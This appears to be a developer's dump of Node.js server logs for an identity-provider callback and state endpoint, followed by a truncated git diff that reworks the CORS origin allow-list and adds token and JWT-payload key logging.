2025-09-24T08:20:06.204Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:3.131.215.38', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' + }, + requestId: 'req_1758702006203_3bk3suzqm', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T08:22:05.492Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:3.131.215.38', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36' + }, + requestId: 'req_1758702125490_fk8uk6jsc', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '35.171.45.91', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-24T08:29:41.738Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'got (https://github.com/sindresorhus/got)' + }, + requestId: 'req_1758702581737_gd2jgzals' +} +❌ [ERROR] 2025-09-24T08:29:41.740Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 3, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'got (https://github.com/sindresorhus/got)' + }, + requestId: 'req_1758702581737_gd2jgzals', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-24T08:30:28.122Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:204.76.203.219', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758702628121_fhej9igg5', + response: { + statusCode: 404 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '35.171.45.91', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-24T08:36:11.263Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'got (https://github.com/sindresorhus/got)' + }, + requestId: 'req_1758702971262_zvp8httdz' +} +❌ [ERROR] 2025-09-24T08:36:11.265Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 3, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'got (https://github.com/sindresorhus/got)' + }, + requestId: 'req_1758702971262_zvp8httdz', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '35.171.45.91', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-24T08:36:37.279Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'got (https://github.com/sindresorhus/got)' + }, + requestId: 'req_1758702997278_bd04lqbcf' +} +❌ [ERROR] 2025-09-24T08:36:37.280Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'got (https://github.com/sindresorhus/got)' + }, + requestId: 'req_1758702997278_bd04lqbcf', + response: { + statusCode: 400 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback', + method: 'GET', + query: { + code_present: false, + code_length: undefined, + state_present: false, + state_length: undefined + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '35.171.45.91', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-24T08:36:39.794Z Application error occurred +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + code: 'VALIDATION_ERROR', + details: [ + { + constraints: [ + 'required' + ], + field: 'code', + value: undefined + }, + { + constraints: [ + 'required' + ], + field: 'state', + value: undefined + } + ], + message: 'Missing code or state', + stack: 'Error: Missing code or state\n' + + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, + statusCode: 400 + }, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'got (https://github.com/sindresorhus/got)' + }, + requestId: 'req_1758702999793_5yfzkaaz2' +} +❌ [ERROR] 2025-09-24T08:36:39.796Z HTTP GET /idnot/callback - 400 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 3, + request: { + ip: '::ffff:127.0.0.1', + method: 'GET', + url: '/idnot/callback', + userAgent: 'got (https://github.com/sindresorhus/got)' + }, + requestId: 'req_1758702999793_5yfzkaaz2', + response: { + statusCode: 400 + } +} +❌ [ERROR] 2025-09-24T08:42:46.588Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: 'next_url host not allowed', + name: 'Error', + stack: 'Error: next_url host not allowed\n' + + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters + }, + request: { + body: { + next_url: 'https://lecoffreio.4nkweb.com/authorized-client' + }, + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758703366583_9wf3fovqv' +} +❌ [ERROR] 2025-09-24T08:42:46.588Z HTTP POST /api/v1/idnot/state - 500 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 5, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758703366583_9wf3fovqv', + response: { + statusCode: 500 + } +} +❌ [ERROR] 2025-09-24T08:58:09.794Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:194.187.176.169', + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0' + }, + requestId: 'req_1758704289792_yif3edjzt', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T08:58:09.852Z HTTP GET /favicon.ico - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:194.187.176.187', + method: 'GET', + url: '/favicon.ico', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0' + }, + requestId: 'req_1758704289851_qr5d2m38u', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T09:23:58.983Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: 'next_url host not allowed', + name: 'Error', + stack: 'Error: next_url host not allowed\n' + + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters + }, + request: { + body: { + next_url: 'https://lecoffreio.4nkweb.com/authorized-client' + }, + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758705606121_sdj1wf4c6' +} +❌ [ERROR] 2025-09-24T09:24:06.643Z HTTP POST /api/v1/idnot/state - 500 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 177847, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758705606121_sdj1wf4c6', + response: { + statusCode: 500 + } +} +❌ [ERROR] 2025-09-24T09:32:42.975Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 71619, + request: { + ip: undefined, + method: 'GET', + url: '/', + userAgent: undefined + }, + requestId: 'req_1758706277876_w4ltcxtxy', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T09:47:45.679Z HTTP GET / - 404 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 131407, + request: { + ip: undefined, + method: 'GET', + url: '/', + userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' + }, + requestId: 'req_1758707098865_t703uvepj', + response: { + statusCode: 404 + } +} +❌ [ERROR] 2025-09-24T09:51:09.776Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: "Expected property name or '}' in JSON at position 1 (line 1 column 2)", + name: 'SyntaxError', + stack: "SyntaxError: Expected property name or '}' in JSON at position 1 (line 1 column 2)\n" + + ' at JSON.parse ()\n' + + ' at parse (/home/ank/dev/lecoffre-back-mini/node_modules/body-parser/lib/types/jso'... 632 more characters + }, + request: { + body: {}, + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758707469754_60rdg1pi6' +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=fake&state=fake', + method: 'HEAD', + query: { + code_present: true, + code_length: 4, + state_present: true, + state_length: 4 + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '92.243.24.12', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-24T09:51:09.886Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: 'Invalid state format', + name: 'Error', + stack: 'Error: Invalid state format\n' + + ' at Object.verifyState (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:70:19)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handl'... 1454 more characters + }, + request: { + body: {}, + ip: '::ffff:127.0.0.1', + method: 'HEAD', + url: '/idnot/callback?code=fake&state=fake', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758707469878_l30xz7psb' +} +❌ [ERROR] 2025-09-24T09:51:09.888Z HTTP HEAD /idnot/callback?code=fake&state=fake - 500 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 9, + request: { + ip: '::ffff:127.0.0.1', + method: 'HEAD', + url: '/idnot/callback?code=fake&state=fake', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758707469878_l30xz7psb', + response: { + statusCode: 500 + } +} +❌ [ERROR] 2025-09-24T09:56:06.614Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: 'next_url host not allowed', + name: 'Error', + stack: 'Error: next_url host not allowed\n' + + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters + }, + request: { + body: { + next_url: 'https://lecoffreio.4nkweb.com/authorized-client' + }, + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758707766610_p7pt8u3tw' +} +❌ [ERROR] 2025-09-24T09:56:06.615Z HTTP POST /api/v1/idnot/state - 500 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 4, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758707766610_p7pt8u3tw', + response: { + statusCode: 500 + } +} +ℹ️ [INFO] 2025-09-24T09:59:53.586Z SIGTERM received, shutting down gracefully +tenvx run -- yourcommand` +ℹ️ [INFO] 2025-09-24T09:59:00.050Z Initializing Signer service +❌ [ERROR] 2025-09-24T09:59:00.064Z Uncaught exception +──────────────────────────────────────────────────────────────────────────────── +{ + error: 'listen EADDRINUSE: address already in use :::8080', + stack: 'Error: listen EADDRINUSE: address already in use :::8080\n' + + ' at Server.setupListenHandle [as _listen2] (node:net:1937:16)\n' + + ' at listenInCluster (node:net:1994:12)\n' + + ' at Server.listen (node:net:2099:'... 786 more characters +} +[dotenv@17.2.2] injecting env (42) from .env -- tip: 📡 observe env with Radar: https://dotenvx.com/radar +ℹ️ [INFO] 2025-09-24T10:00:03.279Z Initializing Signer service +Server started on port 8080 +✅ Connected to SDK Signer server +ℹ️ [INFO] 2025-09-24T10:00:03.310Z Signer connected +ℹ️ [INFO] 2025-09-24T10:00:03.310Z Signer connected +ℹ️ [INFO] 2025-09-24T10:00:03.311Z Signer service initialized +Server error: Device not paired +Full error response: { + "type": "ERROR", + "error": "Device not paired", + "messageId": "msg_1758708033301_3kg44iv66" +} +❌ [ERROR] 2025-09-24T10:00:33.318Z Signer WebSocket error +──────────────────────────────────────────────────────────────────────────────── +{ + error: 'Device not paired' +} +❌ [ERROR] 2025-09-24T10:00:33.318Z Signer connection error +──────────────────────────────────────────────────────────────────────────────── +{ + error: 'Device not paired' +} +⚠️ [WARN] 2025-09-24T10:00:33.319Z Signer disconnected - reconnecting... +⚠️ [WARN] 2025-09-24T10:00:33.319Z Signer disconnected +⚠️ [WARN] 2025-09-24T10:00:33.319Z Signer health check failed - connection may be stale +──────────────────────────────────────────────────────────────────────────────── +{ + error: 'Server error for GET_PAIRING_ID: Device not paired' +} +❌ [ERROR] 2025-09-24T10:01:07.054Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: "Expected property name or '}' in JSON at position 1 (line 1 column 2)", + name: 'SyntaxError', + stack: "SyntaxError: Expected property name or '}' in JSON at position 1 (line 1 column 2)\n" + + ' at JSON.parse ()\n' + + ' at parse (/home/ank/dev/lecoffre-back-mini/node_modules/body-parser/lib/types/jso'... 632 more characters + }, + request: { + body: {}, + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758708067032_tgv1zthl0' +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=fake&state=fake', + method: 'HEAD', + query: { + code_present: true, + code_length: 4, + state_present: true, + state_length: 4 + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '92.243.24.12', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-24T10:01:07.165Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: 'Invalid state format', + name: 'Error', + stack: 'Error: Invalid state format\n' + + ' at Object.verifyState (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:70:19)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handl'... 1454 more characters + }, + request: { + body: {}, + ip: '::ffff:127.0.0.1', + method: 'HEAD', + url: '/idnot/callback?code=fake&state=fake', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758708067161_5kilhk33a' +} +❌ [ERROR] 2025-09-24T10:01:07.166Z HTTP HEAD /idnot/callback?code=fake&state=fake - 500 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 4, + request: { + ip: '::ffff:127.0.0.1', + method: 'HEAD', + url: '/idnot/callback?code=fake&state=fake', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758708067161_5kilhk33a', + response: { + statusCode: 500 + } +} +ℹ️ [INFO] 2025-09-24T10:02:56.065Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 4, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758708176060_xkfx8euq5', + response: { + statusCode: 200 + } +} +[IdNotCallback] incoming request { + originalUrl: '/idnot/callback?code=fake&state=fake', + method: 'HEAD', + query: { + code_present: true, + code_length: 4, + state_present: true, + state_length: 4 + }, + headers: { + host: 'dev3.4nkweb.com', + 'x-forwarded-for': '92.243.24.12', + 'x-forwarded-proto': 'https' + } +} +❌ [ERROR] 2025-09-24T10:02:56.453Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: 'Invalid state format', + name: 'Error', + stack: 'Error: Invalid state format\n' + + ' at Object.verifyState (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:70:19)\n' + + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handl'... 1454 more characters + }, + request: { + body: {}, + ip: '::ffff:127.0.0.1', + method: 'HEAD', + url: '/idnot/callback?code=fake&state=fake', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758708176452_6wvmzj7ti' +} +❌ [ERROR] 2025-09-24T10:02:56.454Z HTTP HEAD /idnot/callback?code=fake&state=fake - 500 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'HEAD', + url: '/idnot/callback?code=fake&state=fake', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758708176452_6wvmzj7ti', + response: { + statusCode: 500 + } +} +❌ [ERROR] 2025-09-24T10:04:25.763Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: 'next_url host not allowed', + name: 'Error', + stack: 'Error: next_url host not allowed\n' + + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters + }, + request: { + body: { + next_url: 'https://lecoffreio.4nkweb.com/authorized-client' + }, + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758708265760_gzvm4oz8h' +} +❌ [ERROR] 2025-09-24T10:04:25.765Z HTTP POST /api/v1/idnot/state - 500 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 4, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758708265760_gzvm4oz8h', + response: { + statusCode: 500 + } +} +❌ [ERROR] 2025-09-24T10:05:42.875Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: 'next_url host not allowed', + name: 'Error', + stack: 'Error: next_url host not allowed\n' + + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters + }, + request: { + body: { + next_url: 'https://lecoffreio.4nkweb.com/authorized-client' + }, + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758708342873_leozic1k8' +} +❌ [ERROR] 2025-09-24T10:05:42.876Z HTTP POST /api/v1/idnot/state - 500 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758708342873_leozic1k8', + response: { + statusCode: 500 + } +} +❌ [ERROR] 2025-09-24T10:07:04.959Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: 'next_url host not allowed', + name: 'Error', + stack: 'Error: next_url host not allowed\n' + + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters + }, + request: { + body: { + next_url: 'https://lecoffreio.4nkweb.com/authorized-client' + }, + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758708424957_jd74sof76' +} +❌ [ERROR] 2025-09-24T10:07:04.960Z HTTP POST /api/v1/idnot/state - 500 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758708424957_jd74sof76', + response: { + statusCode: 500 + } +} +❌ [ERROR] 2025-09-24T10:09:46.477Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: 'next_url host not allowed', + name: 'Error', + stack: 'Error: next_url host not allowed\n' + + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters + }, + request: { + body: { + next_url: 'https://lecoffreio.4nkweb.com/authorized-client' + }, + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758708586475_b3bfd94aw' +} +❌ [ERROR] 2025-09-24T10:09:46.479Z HTTP POST /api/v1/idnot/state - 500 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 3, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758708586475_b3bfd94aw', + response: { + statusCode: 500 + } +} +npm error could not determine executable to run +npm error A complete log of this run can be found in: /home/ank/.npm/_logs/2025-09-24T10_12_28_918Z-debug-0.log +❌ [ERROR] 2025-09-24T10:13:10.043Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: 'next_url host not allowed', + name: 'Error', + stack: 'Error: next_url host not allowed\n' + + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters + }, + request: { + body: { + next_url: 'https://lecoffreio.4nkweb.com/authorized-client' + }, + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758708790042_b74dymdc3' +} +❌ [ERROR] 2025-09-24T10:13:10.044Z HTTP POST /api/v1/idnot/state - 500 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 1, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758708790042_b74dymdc3', + response: { + statusCode: 500 + } +} +❌ [ERROR] 2025-09-24T10:13:51.545Z Unhandled error +──────────────────────────────────────────────────────────────────────────────── +{ + error: { + message: 'next_url host not allowed', + name: 'Error', + stack: 'Error: next_url host not allowed\n' + + ' at validateNextUrl (/home/ank/dev/lecoffre-back-mini/dist/services/state.service.js:39:19)\n' + + ' at Object.signState (/home/ank/dev/lecoffre-back-mini/dist/services/'... 1422 more characters + }, + request: { + body: { + next_url: 'https://lecoffreio.4nkweb.com/authorized-client' + }, + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758708831544_j8txn0513' +} +❌ [ERROR] 2025-09-24T10:13:51.547Z HTTP POST /api/v1/idnot/state - 500 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 2, + request: { + ip: '::ffff:127.0.0.1', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/7.74.0' + }, + requestId: 'req_1758708831544_j8txn0513', + response: { + statusCode: 500 + } +} +ℹ️ [INFO] 2025-09-24T10:15:15.194Z HTTP POST /api/v1/idnot/state - 200 +──────────────────────────────────────────────────────────────────────────────── +{ + duration: 0, + request: { + ip: '::ffff:92.243.24.12', + method: 'POST', + url: '/api/v1/idnot/state', + userAgent: 'curl/8.14.1' + }, + requestId: 'req_1758708915192_9y8qye4kr', + response: { + statusCode: 200 + } +} diff --git a/src/config/index.ts b/src/config/index.ts index 214b871..3a39278 100644 --- a/src/config/index.ts +++ b/src/config/index.ts @@ -6,11 +6,58 @@ export const config = { port: process.env.PORT || 8080, defaultStorage: process.env.DEFAULT_STORAGE || 'https://dev3.4nkweb.com/storage', appHost: process.env.APP_HOST || 'http://localhost:3000', - - cors: { - origin: 'http://localhost:3000', - methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'], - allowedHeaders: ['Content-Type', 'x-session-id', 'Authorization'], - credentials: true - } + + // Déterminer dynamiquement l'origine CORS à partir d'APP_HOST si possible + cors: (() => { + // Build a whitelist of allowed origins + const envList = (process.env.CORS_ORIGINS || process.env.CORS_ORIGIN || '') + .split(',') + .map(s => s.trim()) + .filter(Boolean); + + // Include APP_HOST origin if present + try { + const appHost = process.env.APP_HOST || 'http://localhost:3000'; + const appOrigin = new URL(appHost).origin; + if (!envList.includes(appOrigin)) envList.push(appOrigin); + } catch {} + + // Common dev frontends (dev4 and local redirection constraint) + const defaults = ['https://dev4.4nkweb.com', 'https://lecoffreio.4nkweb.com']; + for (const o of defaults) { + if (!envList.includes(o)) envList.push(o); + } + + // Regex allow-list from env (comma-separated), fallback to *.4nkweb.com and lecoffreio.4nkweb.com + const regexFromEnv = (process.env.CORS_ORIGINS_REGEX || '') + .split(',') + .map(s => s.trim()) + .filter(Boolean) + .map(pattern => { + try { return new RegExp(pattern); } catch { return null; } + }) + .filter((r): r is RegExp => !!r); + + const defaultRegexList: RegExp[] = [ + /^https:\/\/.*\.4nkweb\.com$/, + /^http:\/\/local\.4nkweb\.com:3000$/ + ]; + + const regexList = regexFromEnv.length > 0 ? regexFromEnv : defaultRegexList; + + // Always allow same-origin or non-browser clients (no Origin header) + const origin = (requestOrigin: string | undefined, callback: (err: Error | null, allow?: boolean | string | RegExp | (string | RegExp)[]) => void) => { + if (!requestOrigin) return callback(null, true); + if (envList.includes(requestOrigin)) return callback(null, requestOrigin); + if (regexList.some(re => re.test(requestOrigin))) return callback(null, requestOrigin); + return callback(null, false); + }; + + return { + origin, + methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'], + allowedHeaders: ['Content-Type', 'x-session-id', 'Authorization'], + credentials: true + }; + })() }; diff --git a/src/controllers/idnot.controller.ts b/src/controllers/idnot.controller.ts index a6611e5..71e2272 100644 --- a/src/controllers/idnot.controller.ts +++ b/src/controllers/idnot.controller.ts @@ -11,7 +11,7 @@ import { NotFoundError, ExternalServiceError, BusinessRuleError } from '../types * without depending on Express Request/Response objects */ export class IdNotController { - + /** * Get user rattachements by idNot */ @@ -51,9 +51,9 @@ export class IdNotController { } })); - Logger.info('Successfully retrieved user rattachements', { + Logger.info('Successfully retrieved user rattachements', { idNot, - count: officeData.length + count: officeData.length }); return officeData; @@ -67,12 +67,12 @@ export class IdNotController { try { const result = await IdNotService.getOfficeRattachements(idNot); - - Logger.info('Successfully retrieved office rattachements', { - idNot, - count: result.result?.length || 0 + + Logger.info('Successfully retrieved office rattachements', { + idNot, + count: result.result?.length || 0 }); - + return result; } catch (error) { Logger.error('Failed to get office rattachements', { @@ -93,6 +93,12 @@ export class IdNotController { // Exchange code for tokens const tokens = await IdNotService.exchangeCodeForTokens(code); + Logger.info('Token exchange successful', { + hasAccessToken: !!tokens.access_token, + hasIdToken: !!tokens.id_token, + tokenKeys: Object.keys(tokens) + }); + const jwt = tokens.id_token; if (!jwt) { throw new BusinessRuleError('No ID token received from IdNot'); @@ -101,16 +107,23 @@ export class IdNotController { // Decode JWT payload const payload = JSON.parse(Buffer.from(jwt.split('.')[1], 'base64').toString('utf8')); + Logger.info('JWT payload decoded', { + payloadKeys: Object.keys(payload), + hasProfileIdn: !!payload.profile_idn, + hasSub: !!payload.sub, + hasEntityIdn: !!payload.entity_idn + }); + // Get user data const userData = await IdNotService.getUserData(payload.profile_idn); - + if (!userData || !userData.statutDuRattachement || userData.entite.typeEntite.name !== 